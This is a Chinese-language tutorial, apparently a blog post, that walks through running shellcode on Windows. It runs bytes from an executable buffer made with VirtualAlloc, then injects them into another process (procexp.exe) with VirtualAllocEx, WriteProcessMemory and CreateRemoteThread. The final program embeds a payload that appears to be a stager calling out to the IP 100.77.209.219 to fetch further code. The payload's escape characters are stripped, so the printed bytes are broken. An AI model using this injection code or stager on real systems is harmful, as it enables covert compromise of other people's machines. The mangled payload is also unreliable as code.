我们直接写入可能无法执行
unsigned char data[130] = {
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x0C, 0xC7, 0x45, 0xF8, 0x00, 0x00, 0x40, 0x00, 0x8B, 0x45, 0xF8,
0x0F, 0xB7, 0x08, 0x81, 0xF9, 0x4D, 0x5A, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x5F, 0x8B,
0x55, 0xF8, 0x8B, 0x45, 0xF8, 0x03, 0x42, 0x3C, 0x89, 0x45, 0xFC, 0x8B, 0x4D, 0xFC, 0x81, 0x39,
0x50, 0x45, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x44, 0x8B, 0x55, 0xFC, 0x0F, 0xB7, 0x42,
0x18, 0x3D, 0x0B, 0x01, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x32, 0x8B, 0x4D, 0xFC, 0x83,
0x79, 0x74, 0x0E, 0x77, 0x04, 0x33, 0xC0, 0xEB, 0x25, 0xBA, 0x08, 0x00, 0x00, 0x00, 0x6B, 0xC2,
0x0E, 0x8B, 0x4D, 0xFC, 0x83, 0x7C, 0x01, 0x78, 0x00, 0x74, 0x09, 0xC7, 0x45, 0xF4, 0x01, 0x00,
0x00, 0x00, 0xEB, 0x07, 0xC7, 0x45, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x8B, 0x45, 0xF4, 0x8B, 0xE5,
0x5D, 0xC3
};
typedef void(*PFN_FOO)();
int main()
{
PFN_FOO f = (PFN_FOO)(void *)data;
f();
无法执行
可以看到可读可写不可执行,修改保存就行了
因为shellcode在程序的全局区,没有可执行权限,代码所在内存必须可读可执行,但是重新编译不行,因为重新编译了就变了,所以还可以在当前程序申请一块可写可读可执行的代码区
VirtualAlloc
LPVOID VirtualAlloc( LPVOID lpAddress, // region to reserve or commit
SIZE_T dwSize, // size of region
DWORD flAllocationType, // type of allocation
DWORD flProtect // type of access protection);
这里来申请一块
LPVOID lpAddr = VirtualAlloc(
NULL, //表示任意地址,随机分配
1, //内存通常是以分页为单位来给空间 1页=4k 4096字节
MEM_COMMIT, //告诉操作系统给分配一块内存
PAGE_EXECUTE_READWRITE
);
if (lpAddr == NULL){
printf("Alloc error!");
return 0;
}
可以看到内存已经申请好了,接下来就把我们的数据拷贝过来,再执行,最后还要释放掉
memcpy(lpAddr, data, sizeof(data));
typedef void(*PFN_FOO)();
PFN_FOO f = (PFN_FOO)(void*)lpAddr;
f();
VirtualFree(lpAddr,1,MEM_DECOMMIT);
完整代码
unsigned char data[130] = {
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x0C, 0xC7, 0x45, 0xF8, 0x00, 0x00, 0x40, 0x00, 0x8B, 0x45, 0xF8,
0x0F, 0xB7, 0x08, 0x81, 0xF9, 0x4D, 0x5A, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x5F, 0x8B,
0x55, 0xF8, 0x8B, 0x45, 0xF8, 0x03, 0x42, 0x3C, 0x89, 0x45, 0xFC, 0x8B, 0x4D, 0xFC, 0x81, 0x39,
0x50, 0x45, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x44, 0x8B, 0x55, 0xFC, 0x0F, 0xB7, 0x42,
0x18, 0x3D, 0x0B, 0x01, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x32, 0x8B, 0x4D, 0xFC, 0x83,
0x79, 0x74, 0x0E, 0x77, 0x04, 0x33, 0xC0, 0xEB, 0x25, 0xBA, 0x08, 0x00, 0x00, 0x00, 0x6B, 0xC2,
0x0E, 0x8B, 0x4D, 0xFC, 0x83, 0x7C, 0x01, 0x78, 0x00, 0x74, 0x09, 0xC7, 0x45, 0xF4, 0x01, 0x00,
0x00, 0x00, 0xEB, 0x07, 0xC7, 0x45, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x8B, 0x45, 0xF4, 0x8B, 0xE5,
0x5D, 0xC3
};
int main()
{
LPVOID lpAddr = VirtualAlloc(
NULL, //表示任意地址,随机分配
1, //内存通常是以分页为单位来给空间 1页=4k 4096字节
MEM_COMMIT, //告诉操作系统给分配一块内存
PAGE_EXECUTE_READWRITE
);
if (lpAddr == NULL){
printf("Alloc error!");
return 0;
}
//到这里表示能够成功分配内存
memcpy(lpAddr, data, sizeof(data));
typedef void(*PFN_FOO)();
PFN_FOO f = (PFN_FOO)(void*)lpAddr;
f();
VirtualFree(lpAddr,1,MEM_DECOMMIT);
return 0;
这里我们本地写个messagebox,可以看到helloworld是再常量区地址为0C65858h,但是函数的引用地址却在0C6916Ch,他们之间是有强烈的依赖关系,所以我们如果直接把代码抽出来是无法利用的
所以如果上面我们想要执行成功就要处理掉相关依赖,比如相关函数的地址,字符串地址 自己重定位了,shellcode:一段与地址无关的代码,只要把它放在任意32位程序中只要给他一个起点就能执行
所以我们要先开辟空间然后再写入,然是可以看到VirtualAlloc写了谁调用在谁哪里开辟空间
所以我们就用加强版VirtualAllocEx,它可以在指定进程去开辟
VirtualAllocEx
LPVOID VirtualAllocEx( HANDLE hProcess, // process to allocate memory
LPVOID lpAddress, // desired starting address
SIZE_T dwSize, // size of region to allocate
DWORD flAllocationType, // type of allocation
DWORD flProtect // type of access protection);
代码差不多,但是这里我们要先获取我们要注入的进程句柄,这里shellcode为32位所以我们需要获取的也是32位的
//获取快照
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32;
DWORD pid = 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
//查看第一个进程
BOOL bRet = Process32First(hSnap, &pe32);
while (bRet)
{
bRet = Process32Next(hSnap, &pe32);
if (wcscmp(pe32.szExeFile, L"procexp.exe") == 0){
pid = pe32.th32ProcessID;
break;
}
}
//获取进程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
就是昨天的代码,然后再来开辟一个空间
//1.在目标进程开辟空间
LPVOID lpAddr = VirtualAllocEx(
hProcess, //在目标进程中开辟空间
NULL, //表示任意地址,随机分配
1, //内存通常是以分页为单位来给空间 1页=4k 4096字节
MEM_COMMIT, //告诉操作系统给分配一块内存
PAGE_EXECUTE_READWRITE
);
if (lpAddr == NULL){
printf("Alloc error!");
return 0;
}
然后我们就是要写入,这里就不能使用memcpy了因为这个是当前进程调用的
WriteProcessMemory
BOOL WriteProcessMemory(
HANDLE hProcess, // handle to process
LPVOID lpBaseAddress, // base of memory area
LPCVOID lpBuffer, // data buffer
SIZE_T nSize, // count of bytes to write
SIZE_T * lpNumberOfBytesWritten // count of bytes written);
这里我们就写入进去
//2.在目标进程中写入代码
bRet = WriteProcessMemory(
hProcess, //目标进程
lpAddr, //目标地址 目标进程中
data, //源数据 当前进程中
sizeof(data), //写多大
&dwWritesBytes //成功写入的字节数
);
if (!bRet){
VirtualFreeEx(hProcess, lpAddr, 1, MEM_DECOMMIT);
return 0;
}
写进去了还要调用才能执行,创建远程线程
CreateRemoteThread
HANDLE CreateRemoteThread(
HANDLE hProcess, // handle to process
LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
SIZE_T dwStackSize, // initial stack size
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
LPVOID lpParameter, // thread argument
DWORD dwCreationFlags, // creation option
LPDWORD lpThreadId // thread identifier);
返回目标进程的线程
//3.向目标程序调用一个线程 创建远程线程 执行写入代码
HANDLE hRemoteThread = CreateRemoteThread(hProcess, //目标进程
NULL,
0,
(LPTHREAD_START_ROUTINE)lpAddr, //目标进程的回调函数
NULL, //回调参数
0,
NULL
);
这里我们不要立马释放因为可能执行需要一段时间,所以要等待执行完毕再释放
完成代码为
// shellcode.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <Windows.h>
#include <TlHelp32.h>
/* length: 799 bytes */
unsigned char data[] = "xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8bx12xebx86x5dx68x6ex65x74x00x68x77x69x6ex69x54x68x4cx77x26x07xffxd5x31xffx57x57x57x57x57x68x3ax56x79xa7xffxd5xe9x84x00x00x00x5bx31xc9x51x51x6ax03x51x51x68xaex08x00x00x53x50x68x57x89x9fxc6xffxd5xebx70x5bx31xd2x52x68x00x02x40x84x52x52x52x53x52x50x68xebx55x2ex3bxffxd5x89xc6x83xc3x50x31xffx57x57x6axffx53x56x68x2dx06x18x7bxffxd5x85xc0x0fx84xc3x01x00x00x31xffx85xf6x74x04x89xf9xebx09x68xaaxc5xe2x5dxffxd5x89xc1x68x45x21x5ex31xffxd5x31xffx57x6ax07x51x56x50x68xb7x57xe0x0bxffxd5xbfx00x2fx00x00x39xc7x74xb7x31xffxe9x91x01x00x00xe9xc9x01x00x00xe8x8bxffxffxffx2fx58x66x39x65x00xc8x03xfex93x1ax5ex52x6dx5ax5dx0dx22x3cx47x8ex31x2dx7bxeexa8xc3x22x6bx24xb5x43x4dx44x35x96x5cx48xd7xedx39xccxeexbfxdex49x49x3fx83x58xe9x48x1ex33xc7x49x50x48xd4x97xc7x14xf4x34x36x15x89x74x00x00xb2x0axd7x63x86xdcx5ex9bx74x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x39x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex31x3bx20x57x4fx57x36x34x3bx20x54x72x69x64x65x6ex74x2fx35x2ex30x3bx20x4cx42x42x52x4fx57x53x45x52x29x0dx0ax00x0bx81xc7x34x3dxa6xb5x8fx9axebx20x23xc5xb5xe6x9dx11x47x8exc0x15xd9x15xc4x57x55x1axd1xc7xcdxfcxa6xefxfexe0x02xfcxaax9ex73xf7x3cxa0xd8xefxaex42x73x79x7ax50xe2x04x6axb3x1cx8exd4xfax11x0fx4dxe7x16xfex22x29xa9x81x5bx45xf0xc6x90x97x49xf6x85xa3xf8xc8xf7x7dxccxabx89x33x13x1ax76x30x03x10x7fx3ex67xe6x59xf9xbdx84x70x6ex2ax3ax1fx88x51xa8x26x89x0ex1bxbaxefxafxe8xc5x59xbfx4dxe5x47xadxefxc8x32x31xe8xb5x9dxf9xd6xeaxf5x64xd6xf3xf6xb5xa0xc9x94xf0xbcxe5x5ex51xeex31x14xc7x94xf2x79x56x10xc5x56x04x85xa9x0ax36x7cx2dx4ax06xe2xcfx29x25x68xc7x9bx90xf6x8fx6ax9bxdaxf7x2fx96x58x9cx44x15xf5xbfxe8x4dx82x31xcdx5fx39x6axdfxd7xc3xb5x9cx21x23x85xbfx00x68xf0xb5xa2x56xffxd5x6ax40x68x00x10x00x00x68x00x00x40x00x57x68x58xa4x53xe5xffxd5x93xb9x00x00x00x00x01xd9x51x53x89xe7x57x68x00x20x00x00x53x56x68x12x96x89xe2xffxd5x85xc0x74xc6x8bx07x01xc3x85xc0x75xe5x58xc3xe8xa9xfdxffxffx31x30x30x2ex37x37x2ex32x30x39x2ex32x31x39x00x6fxaax51xc3";
typedef void(*PFN_FOO)();
int main()
{
//获取快照
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32;
DWORD pid = 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
//查看第一个进程
BOOL bRet = Process32First(hSnap, &pe32);
while (bRet)
{
bRet = Process32Next(hSnap, &pe32);
if (wcscmp(pe32.szExeFile, L"procexp.exe") == 0){
pid = pe32.th32ProcessID;
break;
}
}
//获取进程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
//1.在目标进程开辟空间
LPVOID lpAddr = VirtualAllocEx(
hProcess, //在目标进程中开辟空间
NULL, //表示任意地址,随机分配
1, //内存通常是以分页为单位来给空间 1页=4k 4096字节
MEM_COMMIT, //告诉操作系统给分配一块内存
PAGE_EXECUTE_READWRITE
);
if (lpAddr == NULL){
printf("Alloc error!");
return 0;
}
DWORD dwWritesBytes = 0;
//2.在目标进程中写入代码
bRet = WriteProcessMemory(
hProcess, //目标进程
lpAddr, //目标地址 目标进程中
data, //源数据 当前进程中
sizeof(data), //写多大
&dwWritesBytes //成功写入的字节数
);
if (!bRet){
VirtualFreeEx(hProcess, lpAddr, 1, MEM_DECOMMIT);
return 0;
}
//3.向目标程序调用一个线程 创建远程线程 执行写入代码
HANDLE hRemoteThread = CreateRemoteThread(hProcess, //目标进程
NULL,
0,
(LPTHREAD_START_ROUTINE)lpAddr, //目标进程的回调函数
NULL, //回调参数
0,
NULL
);
return 0;
}